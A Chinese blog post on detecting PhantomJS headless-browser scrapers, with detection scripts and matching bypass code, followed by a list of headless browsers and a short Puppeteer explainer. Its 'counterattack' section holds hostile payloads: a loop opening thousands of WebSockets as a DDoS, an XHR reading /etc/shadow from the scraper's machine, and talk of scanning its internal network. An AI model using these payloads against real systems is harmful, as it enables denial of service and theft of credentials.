无头浏览器

前言:

无头浏览器(Headless browser)指没有用户图形界面的(GUI)的浏览器,目前广泛运用于web爬虫和自动化测试中。随着反爬虫和反反爬虫对抗技术的升级,越来越多的爬虫开始使用无头浏览器伪装成正常用户绕过反爬虫策略。

我们如何区分这些无头浏览器和正常浏览器?从Server Side分析用户行为进行检测是一劳永逸的方法,但成本和难度都很大。

不过通过无头浏览器的一些特性。我们也可以从从Client Side找出一些不同来。下面以醉受欢迎的PhantomJS(2.x版本)为例,介绍一些识别的方法,对于其他的无头浏览器,如Slimer JS这些方法也可以参考

HTTP Header

  • PhantomJS

    GET / HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
    Connection: Keep-Alive
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,en,*
    Host: test.com
  • Chrome

    GET / HTTP/1.1
    Host: test.com
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    DNT: 1
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: zh-CN,zh;q=0.8
  • IE 11

    GET / HTTP/1.1
    Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
    Accept-Language: zh-CN
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Accept-Encoding: gzip, deflate
    Host: test.com
    Connection: Keep-Alive
  • Firefox

    GET / HTTP/1.1
    Host: test.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
  • 可以看出PhantomJS的请求头和其他浏览器还是有一些区别的

    • Host头在最后边
    • Connection头的值Keep-Alive是大小写混合
    • User-Agent头里包含PhantomJS关键字

检测方案

  • 通过User-Agent,可以简单的识别出一部分PhantomJS浏览器:

    if (/PhantomJS/.test(navigator.userAgent)) {
      console.log("PhantomJS environment detected.");
    } else {
      console.log("PhantomJS environment not detected.");
    }
    
    // 提示: 这里只需要重写一下就看不出来了,所以不靠谱
    page.settings.userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36';
  • 浏览器插件

    // 大部分浏览器甚至移动端的浏览器都会默认安装至少一个插件,比如 Chrome 浏览器就会安装 PDF Viewer,Shockwave Flash 等插件,这些插件用 navigator.plugins 可以看到。
    而 PhantomJS 没有实现任何插件功能,也没有提供方法去增加插件。所以我们可以通过检查浏览器的插件数量来猜测访问网站的是不是无头浏览器:
    
    if (!(navigator.plugins instanceof PluginArray) || navigator.plugins.length == 0) {
      console.log("PhantomJS environment detected.");
    } else {
      console.log("PhantomJS environment not detected.");
    }
    
    // 绕过检查的方法也很简单,在页面加载之前修改 navigator 对象就行了
    page.onInitialized = function () {
      page.evaluate(function () {
          var oldNavigator = navigator;
          var oldPlugins = oldNavigator.plugins;
          var plugins = {};
          plugins.length = 1;
          plugins.__proto__ = oldPlugins.__proto__;
          window.navigator = {plugins: plugins};
          window.navigator.__proto__ = oldNavigator.__proto__;
      });
    };
    • 另外也可以定制自己的 PhantomJS,其实并不复杂,因为 PhantomJS 是基于 Qt 框架的,而 Qt 已经提供了原生的 API 供实现插件。
  • 操作时

    般用无头浏览器的爬虫为了防止阻塞都会自动关闭页面上的对话框,但它关闭的速度肯定比正常人手动关闭快很多 ,所以我们可以通过对话框被关闭的用时来判断对面是否是机器人

    var start = Date.now();
    alert('Press OK');
    var elapse = Date.now() - start;
    if (elapse < 15) {
      console.log("PhantomJS environment detected.");
    } else {
      console.log("PhantomJS environment not detected.");
    }
    
    // 如果对话框在 15 毫秒内就被关闭,很有可能是无头浏览器在控制。
    // 但是这种方法有个弊端——会打扰正常用户,而且只需增加一些延时就可绕过
    page.onAlert = page.onConfirm = page.onPrompt = function () {
      for (var i = 0; i < 1e8; i++) {
      }
      return "a";
    };
  • 窗口特征

    if (window.outerWidth === 0 || window.outerHeight === 0){
    console.log("PhantomJS environment detected.");
    }
    • 不过这样在 Chrome 里会有一个 bug,当页面在隐藏选项卡中加载,例如从上一个会话恢复时,页面的 outerWidthouterHeight 也会为 0。
    • 另外可以检查键盘、鼠标、触摸屏交互,通过 onmouseoveronkeydown 等函数来判断对方是不是真实用户。
    • 但是 PhantomJS 也提供了 sendEvent 这个函数向页面发送事件
    • 还可以使用 jQuery 的 trigger() 主动触发事件:
    page.includeJs("http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function(){
      // do anything
    });
    $('#some_element').trigger('hover');
  • 全局属性

    • PhantomJS 提供了两个全局属性:window.callPhantomwindow._phantom
    if (window.callPhantom || window._phantom) {
    console.log("PhantomJS environment detected.");
    } else {
    console.log("PhantomJS environment not detected.");
    }
    • 不过这两个是实验性功能,未来很可能会被替换。
    • 当然也可以通过重写绕过
    page.onInitialized = function () {
      page.evaluate(function () {
          var p = window.callPhantom;
          delete window._phantom;
          delete window.callPhantom;
          Object.defineProperty(window, "myCallPhantom", {
              get: function () {
                  return p;
              },
              set: function () {
              }, enumerable: false});
          setTimeout(function () {
              window.myCallPhantom();
          }, 1000);
      });
    };
    page.onCallback = function (obj) {
      console.log('profit!');
    };
    • 其他一些 JavaScript 引擎的独有全局属性
    window.Buffer //nodejs
    window.emit //couchjs
    window.spawn //rhino
    window.webdriver //selenium
    window.domAutomation (or window.domAutomationController) //chromium based automation driver
    
    
    
  • HTML5 和 JavaScript 新特性

    • PhantomJS 使用的 Webkit 引擎相对较旧,这意味着很多新浏览器才支持的特性可能在 PhantomJS 中缺失。
      • WebAudio
      • WebRTC
      • WebSocket
      • WebGL
      • FileAPI
      • CSS 3
      • Device APIs
      • BatteryManager
    • 另外,JavaScript 引擎的一些原生方法和属性在PhantomJS中不一样或者不存在
    (function () {
    if (!Function.prototype.bind) {
      console.log("PhantomJS environment detected. #1");
      return;
    }
    if (Function.prototype.bind.toString().replace(/bind/g, 'Error') != Error.toString()) {
      console.log("PhantomJS environment detected. #2");
      return;
    }
    if (Function.prototype.toString.toString().replace(/toString/g, 'Error') != Error.toString()) {
      console.log("PhantomJS environment detected. #3");
      return;
    }
    console.log("PhantomJS environment not detected.");
    })();
  • 堆栈追踪

    • 这是最有用的识别方法。因为开发者不可能花费大量的精力去修改Webkit的JavaScript引擎核心代码,使PhantomJS的堆栈跟踪写信和真是浏览器一样。
    • 当 PhantomJS 的 evaluate 方法报错时,它会产生独特的堆栈跟踪信息:
    var err;
    try {
    null[0]();
    } catch (e) {
    err = e;
    }
    if (err.stack.indexOf('phantomjs') > -1) {
    console.log("PhantomJS environment detected.");
    } else {
    console.log("PhantomJS environment is not detected.");
    
    
    // 那么如何让 PhantomJS 主动用 evaluate 执行这样的代码呢?我们可以设置蜜罐。
    // 比如重写常见的 DOM API 函数,当 PhantomJS 调用到了被我们重写的 DOM 函数时,
    // 它就会执行我们的代码
    
    Document.prototype.querySelectorAll = Element.prototype.querySelectorAll = function () {
    var err;
    try {
      null[0](); // Force throwing.
    } catch (e) {
      err = e;
    }
    if (err.stack.indexOf('phantomjs') > -1) {
      console.log("PhantomJS environment detected.");
    } else {
      console.log("PhantomJS environment is not detected.");
    }
    };
    
    // 上面的这段代码重写了 document.querySelectorAll 函数,如果爬虫调用 PhantomJS 时含有这样的代码
    page.onLoadFinished = function () {
      page.evaluate(function () {
        var divs = document.querySelectorAll('div');
        // do anything
      });
    };
    // 就会用 evaluate 执行被我们重写过的 querySelectorAll,从而被检测出来。

反击

  • 如果检测出对方使用了 PhantomJS,除了封他 IP,还有什么办法惩罚他呢? 由于 PhantomJS 2.x 已经支持 WebSocket,我们可以给他来个 WebSocket DDos 尝尝
(function () {
    for (var i = 0; i < 8000; i++) {
      new WebSocket('ws://victim.com/chat');
    }
  })();
// 另外,为了跨域请求的方便,很多 PhantomJS 爬虫会关闭 web-security 这个选项。
// 但关闭这个选项后,连本地的 file 域都可以访问了:
 var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///etc/shadow', false);
  // xhr.open('GET', 'file:///C:/Windows/System32/drivers/etc/hosts', false);
  xhr.onload = function () {
    console.log(xhr.responseText);
  };
  xhr.onerror = function (e) {
    console.log('Error: ' + JSON.stringify(e));
  };
  xhr.send();
  • 如果权限够大,我们甚至可以读取运行 PhantomJS 的机器的密码。
  • 根据 PhantomJS 开发组的计划,WebRTC 将会被支持,到时候我们还能探测他的真实 IP和扫描他的内网。

总结

文中我们介绍了一些在 Client Side 检查 PhantomJS 的方法,对于一般的 PhantomJS 爬虫具有不错的识别效果。 当然,我们不能完全依赖于这些检测手段。对于有经验的爬虫作者,他们还是能通过 Hook JavaScript 代码绕过 Client Side 的检查。比如,重写 indexOf 函数,使 err.stack.indexOf('phantomjs') 恒为 -1,从而绕过我们对堆栈跟踪的检查。

在安全方面,当我们在生产环境使用无头浏览器时,应注意环境隔离,使用低权限运行,设置 --web-security=true

市面上常见的无头浏览器

软件名介绍支持语言
Awesomium基于Chromium无图形界面浏览器引擎。C++, .NET
benvBenv是node.js开发的无界面浏览器测试环境,用于测试客户端代码。JavaScript
browser-launcherBrowser-Launcher可以检测系统上的所有浏览器版本,并在一个独立的配置文件中启动它们,用于自动测试。JavaScript
browser.rb无界面 Ruby 浏览器。Ruby
Browserjet无界面webkit浏览器,采用node.js接口。JavaScript
BrowserKit可模拟浏览器的行为。PHP
CasperJSCasperJS 是一个开源的导航脚本和测试工具,使用 JavaScript 基于 PhantomJS 编写,用于测试 Web 应用功能,Phantom JS是一个服务器端的 JavaScript API 的 WebKit。其支持各种Web标准: DOM 处理, CSS 选择器, JSON, Canvas, 和 SVG。JavaScript
DalekJSDalekJS 是一个基于 JavaScript(或 Node.js) 的免费和开源的自动化测试接口。它能够同时运行测试一组流行的浏览器(Chrome,IE,Firefox 和 WebKit)。JavaScript
ErikErik是一款基于WebKit的无界面浏览器,可用于功能函数的测试,使用JavaScript对网页进行操作访问。Swift
GebGeb 是浏览器自动化(browser automation)测试解決方案。Groovy
ghost.pyghost.py 是一个 Python 的 Webkit 的 Web 客户端。Python
GhostbusterGhostbuster 是一款自动化浏览器测试工具,基于phantomjs,意味着你得到一个仿真浏览器,一个真正的DOM,仿真测试环境。JavaScript
gropeGrope 是无GUI浏览器环境,使用WebKit Framework + RubyCocoa。Ruby
GuillotineGuillotine 是一款采用C#开发的.NET 无界面浏览器。.NET
HeadlessHeadless是一款无界面浏览器,支持快速网络接受测试,采用.Net环境。.NET
headless_browserHeadless-Browser 是一款采用C++开发的基于WebKit 无界面浏览器。C++
HeadlessBrowserHeadlessBrowser是一款轻量级无图形界面浏览器,用于DOM测试。JavaScript
HtmlUnitHtmlUnit 是一个is a “Java 程序 GUI-Less 浏览器”。Java
Jabba-WebkitJabba-Webkit是一款无图形化 WebKit 浏览器,主要用来抓取Ajax网页。Python
Jasmine-Headless-WebkitJasmine-Headless-Webkit是一款基于jasmine的无图形化web工具。Python, JavaScript, Ruby
JauntJava Web 网页抓取&自动化 APIJava
jBrowserDriverjBrowserDriver是一款采用纯Java编写的无图形化浏览器,基于WebKit,和Selenium兼容。Java
jedi-crawlerJedi-Crawler 是一款轻量级 Node/PhantomJS爬虫,可以动态的抓取网页内容。JavaScript
LotteLotte是一款自动化无图形化浏览器测试工具,采用phantomJs。JavaScript
MechanicalSoupMechanicalSoup是一个与网站自动交互Python库。Python
mechanize状态编程的Web浏览。Python
Nightmare高层次浏览器自动化库,构建于PhantomJS。JavaScript
PhantomJSPhantom JS是一个服务器端的 JavaScript API 的 WebKitJavaScript, Python, Ruby, Java, C#, Haskell, Objective-C, Perl, PHP, R(via Selenium)
phantompyPhantompy 是一款headless WebKit 引擎,构建于强大的 Qt5 Webkit API之上。Python
Python-WebkitPython-Webkit 是一个Webkit python扩展, 可完整的访问网页的DOM。Python
RoboBrowserRoboBrowser 是一款简单的浏览网页的Pythonic库,无需依赖独立的浏览器。Python
Selenium跨平台自动化web浏览器。JavaScript, Python, Ruby, Java, C#, Haskell, Objective-C, Perl, PHP, R
SimpleBrowserSimpleBrowser是专门为自动化任务而设计的一个灵活而直观的浏览器引擎,内置.Net 4 framework。.NET
SlimerJSSlimerJS 是一个提供给 Web 开发人员,可通过脚本编程控制的浏览器。JavaScript
SplashSplash是一款HTTP API 轻量级浏览器,采用Python和QT开发。Any
SplinterSplinter 是一个用 Python 编写的 Web 应用程序进行验收测试的工具。Python
SpynnerSpynner是一个可编程Web浏览器Python模块。支持AJAXPython
SSTSST (selenium-simple-test) 是一个 Web 测试框架,使用 Python 来生成基于浏览器的功能测试。Python
stanislawStanislaw一款Python headless 浏览器测试工具。Python
trifleJS一个 headless IE 浏览器。采用 .NET WebBrowser类,拥有Javascript API,运行在 V8引擎。JavaScript
twillTwill是一种简单的语言,允许用户通过一个命令行界面浏览网页。Python
WatiNWatin是一个面向.net的Web自动化测试开源项目,对应Web元素提供了丰富的类库,而且使用起来非常简单。.NET
Watir-WebDriverWatir的实现基于WebDriver的Ruby绑定。Ruby
WKZombieWKZombie是针对iOS/ OSX的不需要用户界面或API就能进行网站导航和数据收集的一个Swift框架,也被称为无界面浏览器。Swift
Zombie.js一个轻量级的框架,用于在一个模拟的环境中测试客户端的 JavaScript 代码。Zombie.js 使用 Node.js 实现快速的 headless full-stack 测试平台。JavaScript
  • 6
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
无头浏览器指的是没有图形界面的浏览器,可以在后台运行并进行网页自动化操作。在Node.js中,可以使用Puppeteer库来实现无头浏览器功能。 Puppeteer是一个由Google开发的用于控制Chrome或Chromium浏览器的Node.js库。它提供了一组API,可以模拟用户在浏览器中进行的各种操作,例如页面导航、表单提交、截图等。 要使用Puppeteer,首先需要安装它。可以通过运行以下命令来安装: ``` npm install puppeteer ``` 安装完成后,可以使用以下代码来创建一个基本的无头浏览器实例: ```javascript const puppeteer = require('puppeteer'); (async () => { const browser = await puppeteer.launch(); const page = await browser.newPage(); // 在这里执行一些操作,如页面导航、表单提交等 await browser.close(); })(); ``` 在这个例子中,我们使用`puppeteer.launch()`方法来启动一个浏览器实例,并使用`browser.newPage()`方法创建一个新的页面。然后,可以在`page`对象上执行各种操作。 例如,可以使用`page.goto(url)`方法导航到指定的网页,使用`page.type(selector, text)`方法填写表单字段,使用`page.click(selector)`方法点击页面元素,使用`page.screenshot(options)`方法截取页面截图等等。 最后,使用`browser.close()`方法关闭浏览器实例。 这只是Puppeteer的一些基本用法,还有更多高级功能可以探索。你可以查阅Puppeteer的官方文档以获取更详细的信息和示例代码。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值